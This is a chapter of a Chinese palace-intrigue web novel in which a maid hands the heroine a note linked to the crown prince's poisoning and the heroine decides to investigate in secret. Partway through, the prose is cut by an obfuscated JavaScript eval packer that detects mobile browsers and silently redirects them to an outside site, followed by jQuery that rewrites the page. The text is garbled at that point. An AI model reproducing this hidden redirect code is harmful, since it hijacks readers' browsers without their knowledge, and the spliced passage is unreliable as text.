14. 转变
作品:《清穿表妹今天也在养崽(穿书)》 阴翳之下,只有些许光亮能触及知云。
她闭眼回想起幼时往事,恍惚间觉得那些记忆遥远的仿若隔世。
“奴婢与柳嬷嬷、容嬷嬷三人都是正黄旗包衣出身,幼时住的也近。”知云的声音轻柔,面上带笑,对她而言这是段美好的记忆:“那时我们还是孩子,哪里懂得大人间的龃龉,成日瞒着他们偷溜出门玩乐,凑在一起好得跟亲姐妹似的。三人中柳姐姐年纪最长,平日对我与容姐姐多有照顾,是个极为温柔的大姐姐。”
“可后来,女儿家年纪到了,只得各奔前程。柳姐姐与容姐姐相继嫁人,而奴婢家中指望我能在宫中跟一位好主子,挣个远大的前程,便趁着内务府小选把我送入宫中。原先两位姐姐虽出嫁,却一直都有书信往来,想着见面难,写信也好。可奴婢入了宫后,递信艰难万分,就再也不曾联系。”
说到这里知云顿了顿:“再见面时就是偶然发现两位姐姐入宫做了奶嬷嬷,因着不在一处当差,宫规又森严,不曾见过几面。只觉得两位姐姐入了宫后与以往大不相同了,柳姐姐越发神神叨叨,而容姐姐则是变得刻板严肃。”
“就在娘娘入宫前两个月,柳嬷嬷来找过奴婢。当时她面色慌乱,嘴唇都吓得发白,匆匆递给奴婢一个被揉的发皱的纸条,上头只写了个模糊的地址,让奴婢收好切勿让旁人知晓,还胡言乱语的交代了奴婢一通。那时她惊惧交加,话也说的不甚清楚,奴婢只依稀听到了什么‘若有万一’、‘出宫’、‘守好’这些词。”
提到那天发生的事情,知云的眼中满是后怕与自责:“奴婢当时也没将此事放在心上,只以为她撞上哪位宫女犯事被罚,一时吓着了,只好生安慰了她几句,也不曾询问过旁的。可没想到......”
她再也无法压抑自己,声音哽咽,眼眶发红:“没想到那日一别竟是再也见不到了!奴婢知道太子殿下被下毒一事牵扯出她,可她是什么样的人奴婢再清楚不过了,向来胆小怕事,但心地善良,怎么敢犯下此等滔天大罪,此事背后必有蹊跷啊娘娘!”
说到这,她赶忙从袖中摸出那张被揉捏过无数次,已经起了毛边的纸条,神情有些忐忑的呈上去:“这是她那日塞给我的地址,还请娘娘过目。”
昭玥看着知云手里的那张纸条,明明轻飘飘的,承载的东西却重若千金。
殿内烛火明灭,一片死寂中只余她心跳如擂鼓。
她心里有些挣扎,接了这张纸就相当于管了这桩事,那可是连康熙都查不出来的幕后黑手啊。
背后之人身在暗处,万一被察觉到她在暗中调查,狗急跳墙下挥刀砍向自己也未可知。
可若不接又真的安全吗,那人定然不是什么性情温良之辈。一次害人不成还会有两次三次,这次保成侥幸逃脱,柳嬷嬷一家老小却为此丧命。
那下次呢?保成还能如此幸运吗,又会是哪个宫人被牵连送命?
况且自己与保成已然在一条船上,怕是已经碍了他的眼了。
想到这里,她不寒而栗。
或许可以告诉表哥,将纸条呈给表哥,表哥手里可用的人这么多,想必马上就能查个清楚,自己也不必担惊受怕了。想到这里,昭玥的眼睛亮起来。
但知云与容嬷嬷牵连其中,怕是也落不到好,知云更是没有第一时间将证据交出来,在帝王眼中已经是不忠,为此丧命也不是没有可能。
她对这个吃人的时代已经没有半分天真,如今的她能清晰的感受到,人命如草芥这句话不仅仅只是说说而已,柳嬷嬷一家血淋淋的下场就在眼前,她没办法眼睁睁看着自己身边人送命。
与其将命运托付给表哥,不如自己立起来,将线索牢牢把握在手中,护住身边人。
这种情况,已经容不得她置身事外了。
她缓缓伸出手,冰凉的指尖拈起纸条,仔细端详着。
内里是用碳条写下的一行字,写时应当是手抖,看着歪歪扭扭。只有一个模糊的街道,也未写明东西具体藏在哪里,看来还需费一番功夫才能找到。
心思流转间已经有了个大概章程,昭玥起身将纸条放于烛火当中,橘黄色火焰瞬间舔舐上来,将一切化为灰烬,她面色沉静:“知云,从今日起,你没见过什么纸条,柳嬷嬷也从来没有就给过你什么东西,记住了。”
知云猛然抬头,看向昭玥的眸子还有些焦急:“明妃娘娘,奴婢.....”
“本宫都懂,只是此事不是你我二人能查清的,过些日子太子周岁宴,我会交代人去办的。一切水落石出之前,切不可轻举妄动。”她的话语间带着不容质疑。
知云也不是个蠢人,电光火石的功夫就想明白了一切。
她咽下口中的话,眼中的惊愕转化为纯然的感激:“是,娘娘,奴婢明白了。娘娘大恩大德,奴婢无以为报。”
说着就朝昭玥俯身一拜。
昭玥只是自嘲一笑,伸手扶住她:“快起来吧,哪里就称得上大恩大德了,反倒是我要感谢你,冒着风险将此事告知于我,否则还不知道幕后之人要藏多久,又要继续害多少人。”
前世与今生她都一直生活在象牙塔中,就算是觉醒了记忆,知道自己是书中恶毒女配,她也一直没有实感,对她的影响有限。毕竟在姑爸爸、表哥还有佟佳氏的保护之下,她还真就没有见过什么残酷的事。
可一进宫就见到下毒,灭口的事情,给了她沉重一击。外界的真实与残酷渗进保护壳里,禁宫深深,这里的空气像毒蛇一样缠绕在脖子上,冰冷滑腻,缠得她几乎就无法呼吸。
她并不惧怕和嫔妃们打打嘴仗,也丝毫不将她们的酸言酸语放在心上。但她没有办法忽视周遭虎视眈眈的毒蛇,这一刻她才真正意识到自己的处境,一旦放松,吐着信子的毒蛇随时会扑上来给自己致命一击。
从来没有失眠过的昭玥今天晚上一夜无眠,闭上眼全是那张承载着人命的纸条,字字泣血。
女孩单薄的身子在被子里蜷缩抱团,眼角划过一行清泪。
*
第二天一早,天阴沉沉的,铅灰色的云压的极低,透不出一丝活气。
昭玥罕见的连早膳都没用,自然也没去见小太子。
只有知云知晓内情,她守在帐外,几次担忧地朝那厚重的锦幔望去,心中悔恨与自责交加。主子如今不过才十三岁,知道这种事情一定是吓坏了。
可不吃饭身体也受不了,白露和霜降不明就里,心里越发着急。要知道自家主子向来贪觉,却也总会用了早饭再睡回笼觉,断没有今天这种情况。
白露最先按捺不住,大着胆子劝哄:“主子,现下已是巳时了,早膳一直温着呢,起来用些饭吧。”
她话说完,屏息等了片刻,可帷帐内没有一丝声响。这不寻常的静默,让她心中有些不好的预感,与霜降对视一眼,都在对方眼中看到了惊疑。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922716|192626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“主子?您醒了吗,醒了应奴婢一声,您别吓唬奴婢啊。”白露声音又拔高了几分,带着明显的慌乱。
依旧无人应答。
这下脸素来稳重的霜降都变了脸色,她慌忙上前将帐幔掀开,只见昭玥小脸苍白,头发被泪水打湿后贴在额角颊边,眉头紧蹙,睡得很不安稳的模样。
白露一下子着急起来:“主子这是怎么了,昨儿个还好好的,知云!昨夜你值夜没发现主子不适吗?快去请太医啊。”
知云本就内疚不已,此时被白露指出来她的疏忽,也慌乱起来,转身就要奔向太医院。
还是霜降稳住心神,叫住知云,让她们先别急,待确定主子是什么情况后再去叫太医。
内间一片兵荒马乱,昭玥也终于被吵醒。
她睁眼时思绪还停留在梦魇中,可还没来得及继续陷入更沉重的情绪中,眼前就怼上一张白净的脸,睫毛都被泪水打湿,看起来比她还要伤心。
“主子,您总算是醒了,可吓坏奴婢了。”白露扑在昭玥身边,哭得撕心裂肺。
什么害怕、无奈被这一嗓子全部嚎到九霄云外,昭玥哭笑不得,反倒是坐起身来安慰起白露:“好了好了,我这不是没事吗,昨夜睡得晚了些,今晨没起来罢了,这点小事也值当你吓成这样。”
白露擦了擦眼泪,也有些不好意思:“奴婢这不是担心主子吗,上个月才晕倒过,刚刚主子又怎么叫也叫不醒。您要是出事了,让奴婢怎么过呀。”
昭玥揪了揪白露还带着湿意的脸颊,苍白的面容上带了一丝微笑:“就你还小孩子气,能不能学着霜降稳重些。”
一旁的霜降见昭玥还能打趣,眸中的忧色也隐去了些许,跟着笑道:“那主子可有得等了,怕是她七老八十了也学不会。”
“霜降又在诋毁我!主子你快管管她!”白露抱着昭玥的手臂撒娇,脸上泪痕未干,却已经有了笑影。
眼见白露要开始痴缠,昭玥忙道:“好了好了,都别闹了,我有些饿了,去传早膳上来吧。”
听到自家主子饿了,白露心中明白轻重缓急,也不挨在昭玥身边了,像只找回了主心骨的小猫儿,又精神起来,忙不迭走去传膳。
“主子,您面色这般苍白,奴婢还是请太医来请个平安脉吧。”霜降服侍昭玥起床,看着她的脸色不由开口。
昭玥原想着不必惊动太医,她不过是睡眠不足,休息够了自然就会好。
可看着霜降毫不掩饰的忧色,还是同意了,让太医请个平安脉,也能让这丫头放心些。
霜降得了应允,脸上忧色稍霁,待昭玥洗漱妥当便转身出去,吩咐腿脚利索的小太监速去请太医。
站在一旁的知云见状也松了口气,刚刚白露的指责她确实无力反驳,看着主子苍白的面上强撑出的平静,她也揪心不已。
“娘娘,”她压低的声音中带着万种情绪:“都是奴婢的错,奴婢不该......”
“不关你的事。”昭玥打断她,眼神清明:“在宫里哪能一辈子躲着这些事,你告诉我反倒是让我有了应对的办法。昨晚的事不必再提,如今我也只是晚间没有休息好,与那件事不相干。”
知云将所有情绪死死封存,任何的话语在此刻都显得无比苍白。她重重叩首,眼中有感激,有坚毅,有自责,却抹去了后悔。
开弓没有回头箭,她一定会保护好娘娘的。她在心里告诫自己。

